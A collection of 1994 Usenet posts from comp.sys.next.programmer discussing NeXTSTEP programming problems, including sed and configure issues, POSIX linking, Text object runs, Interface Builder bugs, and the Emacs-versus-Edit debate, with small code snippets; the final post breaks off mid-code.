Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Installing Emacs-4.0 under NS 3.0, but having problems w/sed In-Reply-To: davechao@cteq07.pa.msu.edu's message of 28 Apr 1994 18:13:23 GMT To: davechao@cteq07.pa.msu.edu (David Bowser-Chao) Message-ID: <CEDMAN.94Apr29214759@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <BHILL.94Apr28110112@spike.physics.ucla.edu> <2pouc3$s04@msuinfo.cl.msu.edu> Date: Sat, 30 Apr 1994 01:47:59 GMT In article <2pouc3$s04@msuinfo.cl.msu.edu> davechao@cteq07.pa.msu.edu (David Bowser-Chao) writes: I'm installing Emacs 4.0 on a NS3.0 system - but I had to modify the option-handling sed script in "configure" because sed wasn't correctly parsing echo --with-x | sed 's:^-*\([^=]*\).*$:\1:' and outputting "with-x" correctly. Is this a problem with sed, or what? We've had other random problems with sed before, but since I use perl, I haven't worried about it before now. That is almost certainly a problem with the sed you have installed. There are a number of broken seds out there. Carl Edman
From: axel@tumbolia.ppp.informatik.uni-muenchen.de (Axel Seibert) Newsgroups: comp.sys.next.programmer Subject: Porting to NeXTSTEP Date: 28 Apr 1994 14:15:59 +0200 Organization: das organisierte Chaos Message-ID: <AXEL.94Apr28141559@tumbolia.ppp.informatik.uni-muenchen.de> I'm trying to port a program that was originally designed on a Sun and was then ported to HP-UX by a friend of mine. Now I wanted to bring this software to the NeXT world. But I have failed miserably so far. Has anybody else made the experience, that a program terminates (with bus error, memory exception, depending on the program) _before_ it enters main() ? I can set a breakpint on the function and then single-step just once -- before an exception occurs. My setup: -NS3.2 on black, standard C-compiler -the application (actually there are several programs in a package): was programmed on SunOs 4.1.??? -was then ported to HPUX 9.something -uses no ansi-features (the ansi-library is not linked) -compiles more or less cleanly on the NeXT -and it makes no difference if the programs are linked with /lib/libsys_p.a or libsys_s.a Can anybody give me any hints (I did rtfm, by the way, but I couldn't find any pointers...) Thanx in advance, Axel. -- aseibert@tumbolia.ppp.informatik.uni-muenchen.de (NeXTmail welcome) seiberta@informatik.tu-muenchen.de (please no NeXTmail here!) You are young only once, but you can stay immature indefinitely.
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Ns 3.2: Broken printf("%g") and strtod("+") Date: 30 Apr 1994 11:05:02 GMT Organization: San Francisco State University Message-ID: <2pte0u$8if@nic-nac.CSU.net> References: <2ph15j$gaf@fnnews.fnal.gov> <1994Apr26.161600.25485@kakwa.ucs.ualberta.ca> <CoxLC0.609@incoahe.hanse.de> For some functions the semantics should differ depending on whether the -bsd option is used. (e.g. bsd_sprintf() is substituted for sprintf() when compiling with -bsd.) -=EPS=-
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: bash-1.13.5, gzip-1.2.4 Date: 30 Apr 1994 11:11:24 GMT Organization: San Francisco State University Message-ID: <2ptecs$8n9@nic-nac.CSU.net> References: <BHILL.94Apr28113222@spike.physics.ucla.edu> <BHILL.94Apr28121857@spike.physics.ucla.edu> gzip-1.2.4 proper is OK--it's the Cygnus configure that's hopelessly broken, and there's something missing from the documentation. Here's what you need to do: % setenv DEFS -bsd % setenv G g % ./configure % make next-fat -=EPS=-
Newsgroups: comp.sys.next.programmer From: frank_m@sat.mot.com (Mark Frank) Subject: PS -> EPS Message-ID: <1994Apr29.171208.10305@sat.mot.com> Sender: usenet@sat.mot.com (Usenet Accoun) Organization: Motorola Inc. - Satellite Communications Distribution: usa Date: Fri, 29 Apr 1994 17:12:08 GMT Does anyone know how to convert a PS file to EPS. I have tried to use ImageViewer to do this, but ImageViewer takes my landscape files and converts them to portrait before converting. - Thanks for your help - Mark p25231@email.mot.com
From: ayardley@qns1.qns.com (A.C. Yardley) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: [Q] malloc_freezedry()? and HELP! Date: 30 Apr 1994 08:58:46 -0500 Organization: Questar Network Services Message-ID: <2pto6m$gh5@qns1.qns.com> Q1: What is 'malloc_freezedry()' and what, exactly, does it do? Q2: How does one 'grab' an executable process and open it in order to read it? That is, I want to open an executable as if it were a file (perhaps with an associated file descriptor) and, then, read through the core image just as if it were a file. Thanks in advance. A.C.
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: Those Link buttons in Help & Edit, What the heck? Message-ID: <1994Apr30.111109.8179@prim.demon.co.uk> Keywords: Solution Text Delegate Organization: Primitive Software Ltd. References: <1994Apr28.102527.5258@prim.demon.co.uk> <1994Apr29.122240.517@stone.com> Date: Sat, 30 Apr 1994 11:11:09 GMT In article <1994Apr29.122240.517@stone.com> andrew@stone.com writes: > >OK Here's the EASY EASY solution: Forget what I said about overriding the >NXLinkCell method! > >Part of the undocumented API is that the Text's delegate gets this >notification message, at the right time (Several people knew about this it >turned out): > >- showFile:(const char *)file atMarker:(const char *)marker Neat. I thought something like that probably existed. Wonder how all those other people knew the method name? We could do with documenting all this esoteric knowledge in a kind of FAQ for this group. class-dump is a fabulous tool, BTW. Dave Griffiths
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: Urgent services questions (help needed, too) Message-ID: <1994Apr30.113006.8260@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <1994Apr29.120123.6049@imag.fr> Date: Sat, 30 Apr 1994 11:30:06 GMT In article <1994Apr29.120123.6049@imag.fr> arrouye@petole.imag.fr (Yves Arrouye) writes: > >3. Why is it impossible to advertise a service with no send type nor return > type? I would classify this fact (if it is confirmed) as a bug because this > may be extremely useful. What do you think? Because NeXT in their infinite wisdom don't want us to. I reported it as a bug ages ago. It's actually a deliberate policy of theirs not to allow it. Can you believe that? Yes, it would be very useful but heck, we're just the developers/users, we're just the people who keep NeXT in business, so why should we have any say in all of this? Time for me to go and take my medication. :-) No, the reason they give for not allowing it is that it could turn services into a general macro mechanism and _they_ don't want that. Totalitarianism I call it. Dave Griffiths
Newsgroups: comp.sys.next.programmer From: rvs@vnp.com (Ronald V. Simmons) Subject: Re: Hints on using Emacs for NeXTstep Message-ID: <1994Apr30.134843.7768@vnp.com> Sender: news@vnp.com (News account) Organization: VNP Software References: <CEDMAN.94Apr28093551@capitalist.princeton.edu> Date: Sat, 30 Apr 94 13:48:43 GMT In article <CEDMAN.94Apr28093551@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: > In article <2pnrud$55q@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes: > (6) My major objection is to the specific claim that Emacs.app > can serve as a replacement for Edit.app. This is just not > the case. > > I don't recall ever having made that claim. > ...[further intelligent statements deleted]... Actually, I made that claim about a week ago in another thread. I did qualify the claim with the statement that you can't (yet) replace Edit when dealing with .rtf files. However, I still maintain that anyone doing PROGRAMMING all day long, day in, day out, should really consider using Emacs as a means of greatly enhancing their productivity. This is especially true when performing the mundane task of actually writing code. Note: I recognize that to use Emacs effectively, you have to go up a huge learning curve. That's why I maintain that it is really only a good idea for the professional programmer. I should probably clarify further and say that for PROGRAMMING, I have yet to see anything about Edit that makes it desirable vis-a-vis Emacs. Here's why, for people who haven't done both: Edit can't correctly auto-indent code (and Makefiles) both as I type and later. Edit can't auto-colorize code (and Makefiles) as I type and later. Edit can rtf-ize code, but I maintain that it is much better to have the editor parse the code, then colorize and fontize dynamically and consistently rather than have the programmer go through the tedium of doing it by hand. Edit doesn't show me expression boundaries automatically as I type. I much prefer Emacs' way of cooperating with gdb (i.e. the editor runs gdb rather than the other way around). Edit cannot be made to keep multiple back up versions of files. And trust me, I don't need to be told to use RCS. (consider that a plug for our DevMan product :^) ). Edit can't transparently use ftp rather than the file system (i.e. you need to get someone else's program and then drag 'n' drop rather than have it "just work" a la ange-ftp. Edit won't let me write keyboard macros. Edit is not extensible by the user. Edit doesn't have a third-party community out there always making new stuff available. Edit relies way too much on the mouse for tasks that can be done more quickly if your hands stay firmly on the keyboard. (Try recursive searching forward and backward in Emacs and in Edit. If you know what you are doing, you'll be much faster in Emacs. Emacs4.0 works with PB. Emacs4.0 works with gdb (just not the way your accustomed to). Emacs4.0 works with WSM. Furthermore, Edit doesn't have its own newsgroup hierarchy. :^) Edit can't play gomoku with me or run the tower of hanoi. :^) Edit isn't a complete operating system, game environment and cuisinart replacement. :^) Edit doesn't weigh in at 6 MB for just the uncompiled source. :^) In fact, in 4 years of making my living soley programming under NS, I have always preferred Emacs to Edit, (as have some people at NeXT, Inc.). This is true even since the advent of PB in 3.0. One further clarification, I do write my documentation in Edit. But that's about all I do with it now days... And by the way, Carl has still done a great service to the community to have done this port. I just wish I could find the time to work on cool stuff like this for as long as he did. :^) -- Ronald V. Simmons Principal VNP Software Cambridge, MA Van_Simmons@vnp.com -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.3 mQCNAi263/4AAAEEAMkSNi+cbYuz81+G0D7m3/w6C2jygvWhGr2EcFpkDVEC7NL5 bgYAaaoHbzbRgYx9bMgmnP/m2qhhNbM8ZNuT7lIZHFiVAtQacdwNC/LsRVpZ1uIC 4vV6vgY7SzFsFs5iseFHyOGIYmCFEUJ2uTCLViGOlX/wp31kX9hu9aFE9/BhAAUR tBNWYW5fU2ltbW9uc0B2bnAuY29t =ak6j -----END PGP PUBLIC KEY BLOCK-----
Newsgroups: comp.sys.next.programmer From: esky@marathon.cs.ucla.edu (Eskandar Ensafi) Subject: Unresolved symbols when using termios.h Organization: UCLA CS Department, Los Angeles, CA Message-ID: <1994Apr30.182353.4620@cs.ucla.edu> Date: Sat, 30 Apr 94 18:23:53 GMT Hi, I was compiling a program that uses termios.h (tcgetattr, tcsetattr, etc.) and got error messages saying that the above are unresolved symbols -- why has NeXT included termios.h if the libraries containing these functions are not present (or are they?)? - Esk. -- "Was ich kann und was ich konnte Weiss ich gar nicht mehr Gib mir wieder etwas schones Zieh mich aus dem meer" -- Marian (The Sisters Of Mercy)
Newsgroups: comp.sys.next.programmer From: esky@marathon.cs.ucla.edu (Eskandar Ensafi) Subject: Re: Unresolved symbols when using termios.h (Nevermind) References: <1994Apr30.182353.4620@cs.ucla.edu> Organization: Los Alamos National Laboratory, NM Message-ID: <1994Apr30.192620.6041@cs.ucla.edu> Date: Sat, 30 Apr 94 19:26:20 GMT Sorry, I think I found the problem. Use -lposix, right? Looks like it. Bye! - Esk. -- "Was ich kann und was ich konnte Weiss ich gar nicht mehr Gib mir wieder etwas schones Zieh mich aus dem meer" -- Marian (The Sisters Of Mercy)
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: [Q] malloc_freezedry()? and HELP! Date: Sat, 30 Apr 1994 15:37:31 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <ohkfBvO00iV6A3K2Zc@andrew.cmu.edu> In-Reply-To: <2pto6m$gh5@qns1.qns.com> Excerpts from netnews.comp.sys.next.programmer: 30-Apr-94 [Q] malloc_freezedry()? and.. by A.C. Yardley@qns1.qns.co > Q1: What is 'malloc_freezedry()' and what, exactly, does it do? It is part of the internal implementation of the malloc() library, and consequently is undocumented. I can't see any reason for you to need to know what it is, since there is absolutely no reason why NeXT cannot change the routine in their next release of the OS. What are you trying to do? > Q2: How does one 'grab' an executable process and open it in order > to read it? That is, I want to open an executable as if it were > a file (perhaps with an associated file descriptor) and, then, > read through the core image just as if it were a file. Read the Mach functions documentation in DL. Look for vm_read(). Also, you might consider looking through the gdb source if you are really motivated. NeXT does not officially support ptrace, but that might be what you are looking for. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
Newsgroups: comp.sys.next.programmer From: esky@marathon.cs.ucla.edu (Eskandar Ensafi) Subject: Is it a bad idea to use POSIX functions in NEXTSTEP? Organization: UCLA CS Department, Los Angeles, CA Message-ID: <1994Apr30.203824.7831@cs.ucla.edu> Date: Sat, 30 Apr 94 20:38:24 GMT Hi, Is it generally recommened to stay away from POSIX (setpgid, waitpid, all of the tc... stuff and termios) and use wait4, ioctl, etc. instead? What I have noticed is that when compiling a program and linking libposix.a, I need to supress linking of the standard libraries due to multiple definitions. This is my first time dealing w/ POSIX stuff and I'm kind of lost -- what should I do? - Eskandar -- "Was ich kann und was ich konnte Weiss ich gar nicht mehr Gib mir wieder etwas schones Zieh mich aus dem meer" -- Marian (The Sisters Of Mercy)
Newsgroups: comp.sys.next.programmer From: fozztexx@nvc.cc.ca.us (Chris Osborn) Subject: Re: Text - Steping through the NXRunArray Message-ID: <Cp34Bs.GnL@nvc.cc.ca.us> Sender: news@nvc.cc.ca.us Organization: Napa Valley College References: <2p6pl3$ho0@digifix.digifix.com> Date: Sat, 30 Apr 1994 18:21:28 GMT In article <2p6pl3$ho0@digifix.digifix.com>, Scott Anguish <sanguish@digifix.com> wrote: >I have a situation where I need to grab each 'style' in a Text Object, and then >find the text that is associated with that style. > >the NXRunArray contains the Styles I need, but I don't seem to be able to find >out where they are referenced to the actual text blocks... You have to ask the Text Object for the text seperately. The Runs only keep track of the styles, and how many characters they cover, but not really the position within the text. I've also found that if you add up all the chars that theRuns covers, it always contains one more than the actual length of the text (I guess it counts the NULL at the end). Here's a snippet from Mynah (the MIME mailer I'm working on): - bodyForText:textObj { int tlen; NXRunArray *theRuns, *theRuns2; int i, j, k, l, m, n; id body; char *p; body = [[MultipartBody alloc] initType:"Multipart" subtype:"Mixed"]; tlen = [textObj textLength]; theRuns = [textObj theRuns]; theRuns2 = (NXRunArray *) NXChunkMalloc(sizeof(NXRun), theRuns->chunk.used); for (i = 0, j = theRuns->chunk.used / sizeof(NXRun); i < j; i++); p = malloc(tlen + 1); [textObj getSubstring:p start:0 length:tlen]; p[tlen] = 0; for (i = l = 0; i < j; i++) { for (k = i+1, m = theRuns->runs[i].rFlags.graphic; k < j; k++) if (m != theRuns->runs[k].rFlags.graphic) break; theRuns2->chunk.used = (k - i) * sizeof(NXRun); memcpy(theRuns2->runs, &theRuns->runs[i], theRuns2->chunk.used); for (n = i, m = 0; n < k; n++) m += theRuns->runs[n].chars; m = m < tlen - l ? m : tlen - l; if (m) [body addPart:[self bodyForRuns:theRuns2 text:&p[l] length:m]]; i += (k - i) - 1; l += m; } free(p); free(theRuns2); return body; } Note the I sublclassed Text and added a theRuns method, and early on in the program told it to pose as Text. Also, I don't think renewRuns:text:frame:tag: works. Every time I try to use it, and then I select some text and do a copy/cut, it crashes the whole program. -- Chris Osborn, Network Administrator Voice: 707 253 3130 Napa Valley College Fax: 707 253 3063 2277 Napa-Vallejo Hwy., Napa, CA, 94558 <fozztexx@nvc.cc.ca.us> MIME ok, NeXTMail tolerated
From: swiet@syzygy.cs.jhu.edu (Alexander Swietlicki) Newsgroups: comp.sys.next.programmer Subject: Re: Porting to NeXTSTEP Date: 30 Apr 1994 21:53:52 GMT Organization: Computer Science Department, The Johns Hopkins University Message-ID: <SWIET.94Apr30175352@syzygy.cs.jhu.edu> References: <AXEL.94Apr28141559@tumbolia.ppp.informatik.uni-muenchen.de> In-reply-to: axel@tumbolia.ppp.informatik.uni-muenchen.de's message of 28 Apr 1994 14:15:59 +0200 In article <AXEL.94Apr28141559@tumbolia.ppp.informatik.uni-muenchen.de> axel@tumbolia.ppp.informatik.uni-muenchen.de (Axel Seibert) writes: But I have failed miserably so far. Has anybody else made the experience, that a program terminates (with bus error, memory exception, depending on the program) _before_ it enters main() ? Have you declared some really large auto arrays? My guess is that you've blown the stack. Try increasing the stack size from the shell. Just a guess, since there was no example code.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: complaints about Emacs for NS (was Re: Hints on using Emacs for NS) Date: 30 Apr 1994 19:32:05 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Apr30203206@steffi.demon.co.uk> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.csu.net> <Coxstn.HnJ@murdoch.acc.Virginia.EDU> To: dmm0t@rincewind.mech.virginia.edu (David Meyer) In-reply-to: dmm0t@rincewind.mech.virginia.edu's message of Wed, 27 Apr 1994 21:24:59 GMT >>>>> "David" == David Meyer <dmm0t@rincewind.mech.virginia.edu> writes: David> In article <2pkqet$4pt@nic-nac.csu.net>, Eric P. Scott David> it. Certainly they deserve better than for their work to be David> dismissed out of hand just because it's not perfect. I object to that. It is perfect :-) -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: jmvallat@nexty.fdn.org (Jean-Michel Vallat) Subject: Problem with printing User Paths containing dps_arct. Message-ID: <1994Apr29.094038.665@nexty.fdn.org> Sender: jmvallat@nexty.fdn.org Organization: Individual Date: Fri, 29 Apr 1994 09:40:38 GMT I am writing a program which draws rounded rectangles on the screen. To do so, I use PostScript UserPath commands, via the DPSDoUserPath() function. The UserPath contains mostly 'dps_arct's. When I try to print my view, I get the following code, which is not accepted by the Printer because of a strange serie of 'printobject's: .... gsave newpath systemdict begin ucache -10 -10 100 100 setbbox 0 0 moveto 10 10 20 0 360 arc 0 0 moveto 100 0 100 100 20 arcto 3 printobject 2 printobject 1 printobject 0 printobject 0 4 printobject flush closepath end stroke grestore .... This is strange, because the 'printobject's only appear for the dps_arct operator, not the dps_lineto, dps_arc, and other operators. It seems like the DPSDoUserPath uses the 'arcto' instead of 'arct' to translate the user path to level 1 calls, which causes this problem. Has anybody ever been confronted with the problem ? Am I doing something I should not ? Is this a known bug ? Jean-Francois DOUE. -- ___________________________________________________________________________ Jean-Michel Vallat Home Tel: (+33) 45 82 03 12 Business Tel: (+33) 40 15 47 84 NEXTSTEP Developer jmvallat@nexty.fdn.org [NeXTmail welcome] ___________________________________________________________________________
From: kline@CS.Arizona.EDU (Nick Kline) Newsgroups: comp.sys.next.programmer Subject: editing the workspace's menu Date: 1 May 1994 02:50:54 -0700 Organization: University of Arizona CS Department, Tucson AZ Message-ID: <2pvu1u$iko@cheltenham.cs.arizona.edu> In 3.0 I edited the workspace's menu and added i to refer to Tools->inspector This was very convenient. So tonight, I opened up /usr/lib/NextStep/Workspace.app/WM.app/English.lproj/Workspace.nib and edit the menu entry. I added 'i' to be the command key for inspector. But, it doesn't work! I logged out and logged in again and it didn't work. The letter i was now visible there but alas, it didn't work. Is there a layer of indirection in the workspace for command key equivalents? Or is there another entry that already uses 'i'? (I didn't find it). And I still didn't get a solution for the problem, given two colors, background and foreground, give me the highlight color. thanks, nick
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: More importantly (re: Ronald's post in Emacs 4.0) Date: 01 May 1994 10:34:08 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94May1113408@steffi.demon.co.uk> One other significant thing about Emacs over Edit as far as long term use goes... Emacs doesn't confine you to one default foreground and background color. ie. you don't have to stare at a blazing glaring white background all day. Not only that. But if I didn't like a color scheme at a particular time of the day I could easily configure emacs to use the approrpriate scheme. All of those things that Ronald mentioned that Emacs does for you are not a rigid feature set like Edit would have. They are just add ons (and believe me there's no shortage of add on's) to the existing Emacs distribution. There's a complete online database available that describes all available packages. Some of them are standard in the distribution. One very powerful feature of Emacs is that you can attach your own code to execute when certain "conditions" are met. ie. perform an action when you write a file etc etc... There are loads of hooks. Like ispell after you've composed an email or news post. Getting back to color... I've just found a mix that I like at the moment, with the exception of highlighting a selection. Try this in your .emacs (cond ((eq window-system 'ns) ;; Set up environment (grabenv) ;; Set up colors (set-face-foreground 'modeline "White") (set-face-background 'modeline "Dark Gray") (setq default-frame-alist '((background-color . "wheat3") (foreground-color . "black") (cursor-type . box) (cursor-color . "Dark Gray"))) ;; Set geometry (setq initial-frame-alist '((top . 1) (left . 550) (width . 80) (height . 55))))) I'd love to see any other cool color schemes. I had be using straight white foreground on black background but this new one allows me to use color to show distinction. IMHO:This is alone is one reason to stop using Edit.app Today, I mail and read news (threaded) all within Emacs. Oh and by the way. Carl wrote some elisp code to intergrate Mail.app into Emacs (it's distributed with his mailapp-utilities that should be available from all decent NeXT ftp servers for those NeXTMail junkies :-) -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: allan@narwal.ali.bc.ca (Allan Noordvyk) Subject: Inserting images in Text object Message-ID: <1994Apr30.012731.4374@narwal.ali.bc.ca> Organization: A.L.I. Technologies Distribution: na Date: Sat, 30 Apr 1994 01:27:31 GMT I have clicked on "Graphics allowed" in the IB inspector for my scrolling text view and I have tried to use the NeXTGraphic0 rtf command to load an eps image via the rtf stream I feed to the text object, but to no avail. All it does is echo the file name. Does any one have any suggestions on doing this? ------------------------------------------------------------ Allan Noordvyk, Software Artisan ALI Technologies, Richmond, BC, Canada ------------------------------------------------------------ Veni. Vidi. Visa. -- "I came. I saw. I charged it." ------------------------------------------------------------
From: ayardley@qns1.qns.com (A.C. Yardley) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: [Q]: Source code for gdb4.7 on NeXT Date: 1 May 1994 10:33:16 -0500 Organization: Questar Network Services Message-ID: <2q0i3s$dnv@qns1.qns.com> Another question (but one I'm sure was answered sometime ago)? Does anyone know where I can get the source code for gdb-4.7 on the NeXT. I've ran archie on 'gdb' and come up with everything from gdb-3.2 to gdb-4.12, but no gdb-4.7. Thanks in advance. A.C.
From: lemson@ux1.cso.uiuc.edu (David Lemson) Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.misc Subject: Re: Seeking info on ISDN connectivity Date: 1 May 1994 14:19:49 GMT Organization: University of Illinois at Urbana Distribution: usa Message-ID: <2q0dq5$ol1@vixen.cso.uiuc.edu> References: <1994Apr18.172437.2133@afs.com> <BURNS.94Apr20175735@wildcat.bellcore.com> <2p5iip$m6@news.doit.wisc.edu> anderson@macc.wisc.edu (Jess Anderson) writes: >In article <BURNS.94Apr20175735@wildcat.bellcore.com>, >James E. Burns <burns@bellcore.com> wrote: >>The Hayes Extender is essentially dead. It depends on the PhoneKit, >>which as far as I know has never been picked up. In any case, it >I thought it was picked up by Pencom, but then shelved. >We have two of them, gathering dust. We were fairly pissed >about it at the time. >I'm using ISDN, incidentally on a cube, but it can be used >on any ethernet using the right bridges or hubs, and with >compression, speeds in the .5 Mbps range are possible. All >it takes is money. So, just to clarify - Jess, you aren't using the Hayes cheap-o box? It's not supported anymore? -- David Lemson University of Illinois Computing & Comm Services Office System Administrator Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: gpoc@cube.sm.dsi.unimi.it (Gianfranco Pocecai) Newsgroups: comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.programmer Subject: NEXTSTEP & Transputers Date: 1 May 1994 16:20:04 GMT Organization: Computer Science Dep. - Milan University Distribution: world Message-ID: <2q0krk$5ea@ghost.sm.dsi.unimi.it> Hi everybody! I'm looking for any kind of information (software & hardware) to use transputers with NEXTSTEP. thanks Gianfranco -- Gianfranco Pocecai President of The Italian NEXTSTEP User Group University of Milano - Computer Science Department Via Comelico, 39/41 20135 Milano - Italy E-mail : gpoc@cube.sm.dsi.unimi.it
From: joe@retina.anatomy.upenn.edu Newsgroups: comp.sys.next.programmer Subject: DBTableView delegate Date: 1 May 1994 21:31:15 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2q1733$b8t@netnews.upenn.edu> The librarian page for the DBTableView class says that notification will be sent to its delegate when the user double clicks or changes row or column. But I can't find a list of the methods that are passed on to the delegate. Can anyone straighten me out? Thanks. Joe Panico joe@retina.anatomy.upenn.edu
Newsgroups: comp.sys.next.programmer From: jaime@afs.com (Jaime Guerrero) Subject: message "_registerDocAt: " in console? Message-ID: <1994Apr29.152816.637@afs.com> Sender: jaime@afs.com Date: Fri, 29 Apr 1994 15:28:16 GMT Occasionally, we get these messages in the console, usually around the time of a copy or paste operation: Apr 29 11:11:15 myMachine MyApp[585]: Assertion failed: _registerDocAt: appkitServer didn't recognize our doc Apr 29 11:11:15 myMachine MyApp [585]: Assertion failed: _unregisterDoc: appkitServer didn't recognize our doc They are, of course, undocumented. Anyone know why they appear or what they mean? -- Jaime Guerrero "Wake Up, I'm Horny" Anderson Financial Systems Inc. (album by Big Daddy Graham) Philadelphia, Pennsylvania, USA jaime@afs.com [NeXTmail ok]
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: A plea from a notebook user - window sizing! Message-ID: <1994Apr29.153657.1337@afs.com> Sender: greg@afs.com References: <1994Apr25.233625.21489@seer.demon.co.uk> Date: Fri, 29 Apr 1994 15:36:57 GMT In article <1994Apr25.233625.21489@seer.demon.co.uk> paul@seer.demon.co.uk (Paul Lynch) writes: > Well, rewriting every single app is one solution, for sure. However, > the problem (as I see it) goes further than that. If I use a 1280x1024 > screen to set up a project in TaskMaster, I will resize the window to > use the full screen. If you have used TaskMaster, you know what I mean. > If I then log in on a machine with 800x600, I have nothing to grab onto > to resize the display. How exactly is an app supposed to know what to > do? Perhaps new facilities should be provided in the AppKit to allow > apps to solve this problem. There is an easy solution, and both WriteUp and PasteUp implement it. You can ask the Application class what size screen it's running on. Then you just resize the document's window programmatically so that it does not exceed those bounds. Simple. The hard part, as someone else noted, is service panels. In the initial release of WriteUp, our PageLayout accessory made the combined panel taller than 480 pixels, and that panel is not resizable. We had to adjust the nib file layout so that everything would fit. Now it is part of our general programming guidelines that panels may not be taller than 480 pixels, so hopefully that won't happen again. -- Gregory H. Anderson | "Internet: a giant international network Stud Hombre Cybermuffin | of intelligent, informed computer Anderson Financial Systems | enthusiasts, by which I mean 'people greg@afs.com (NeXTmail OK) | without lives.'" -- Dave Barry, 2/6/94
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: BUG: IB connections after pasting menus between projects Message-ID: <1994Apr29.163703.1452@afs.com> Sender: greg@afs.com Date: Fri, 29 Apr 1994 16:37:03 GMT Here's a weird bug that can occur when you copy and paste menus from one project to another: If the copied menu cells point to FirstResponder methods that don't resolve in the new project, IB will not warn you or drop the connections. It just half-remembers the method names until you reparse any real class at some time in the future, at which point it will drop the psuedo-connections to FirstResponder. In the meantime, everything seems fine. Workaround: After pasting menu cells, check all of the connections in the Connections Inspector (Command-2). If any of the method names show up in the bottom browser, but are not 'dimple-connected' in the top browser, add the missing method names to the FirstResponder object and check again. How we found the bug: In the course of rebuilding the PasteUp menus, I decided to use the (certified) WriteUp menus as a template for new features that were added to both apps, like ObjectLinks. So I did what any lazy programmer would do: 1) Opened both main nib files (PasteUp.nib and WriteUp.nib) 2) Went to the 'Links' submenu in WriteUp, hit Command-c to copy. 3) Went to the Edit menu in PasteUp, hit Command-v to paste. As expected, the Links submenu appeared at the bottom of the Edit menu, and I dragged it up to where it belonged in the list. 4) Rebuilt the app and tested the menu cells. Everything looked OK. So far, so good. Then the other day we reparsed a few of the classes in PasteUp.nib, and suddenly a bunch of previously working menu connections got dropped! After some poking around in the original, we discovered that the copied/pasted menu cells referred to methods that were defined in the FirstResponder object of WriteUp.nib, but not PasteUp.nib. Yet for a while they seemed OK! IB had not complained (or just dropped the connections) during the original paste, and the app had been running fine. That's what makes this such a dangerous bug: for no apparent reason, a working app breaks due to an unassociated action. -- Gregory H. Anderson | "Internet: a giant international network Stud Hombre Cybermuffin | of intelligent, informed computer Anderson Financial Systems | enthusiasts, by which I mean 'people greg@afs.com (NeXTmail OK) | without lives.'" -- Dave Barry, 2/6/94
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: delegation and inheritance Message-ID: <1994Apr29.173333.1301@afs.com> Sender: Michael_Pizolato@afs.com References: <SCOTT.94Apr26140100@nic.gac.edu> Date: Fri, 29 Apr 1994 17:33:33 GMT Newsgroups: comp.sys.next.programmer Path: afs!michael_pizolato From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: delegation and inheritance Message-ID: <1994Apr29.172840.1204@afs.com> Sender: Michael_Pizolato@afs.com Reply-To: Michael_Pizolato@afs.com References: <SCOTT.94Apr26140100@nic.gac.edu> Date: Fri, 29 Apr 1994 17:28:40 GMT Scott Hess writes [snip] >Say we have an object, AA, which implements the slots (methods) >"hue" and "color", and another object, BB, which has slots "*inherit" >and "color". Star (*) indicates a slot that can be inherited >through. (Forgive syntax errors, it's been awhile.) If you said >"BB inherit:AA.", that would set BB's *inherit slot to AA (Objective-C >would look like "[BB setInherit:aa]"). If you said "AA color." >you call AA's color slot (ObjC: "[AA color];"), if you said "BB >color." you call BB's color slot (ObjC: "[BB color];"). > >If you said "BB hue.", the runtime wouldn't find "hue" as a slot >in BB, so it would follow all of BB's * slots, and would thus find >"hue" in AA. Now, say that AA's "hue" method says something on >the order of "color." In Objective-C that would look like "[self >color];", though in Self, "self" is implicit (hence the name of >the language). This is where a fundamental difference comes in. >When you said "BB hue." and the runtime found "hue" in AA via BB's >"*inherit" slot, "self" (the implicit receiver) will still be BB! >So, if you originally said "BB hue.", then when the "hue" method >says "color.", the runtime looks for the "color" slot in BB, _not_ >AA. > >This is a big difference from what Objective-C has. In Objective-C, >you have to pass along the sender as a parameter. In Self, the >sender is implicit. Self's style of delegation simply cannot be >done in Objective-C, though with some programmer discipline and >lots of accessor methods, you can get many of the same benefits. [snip] Well, no. Consider the following: @interface AA:Object - hue; - color; @end @implementation AA - hue { //some stuff [self color]; //more stuff return self; } - color { //AA color stuff return self; } @end @interface BB:AA - color; @end 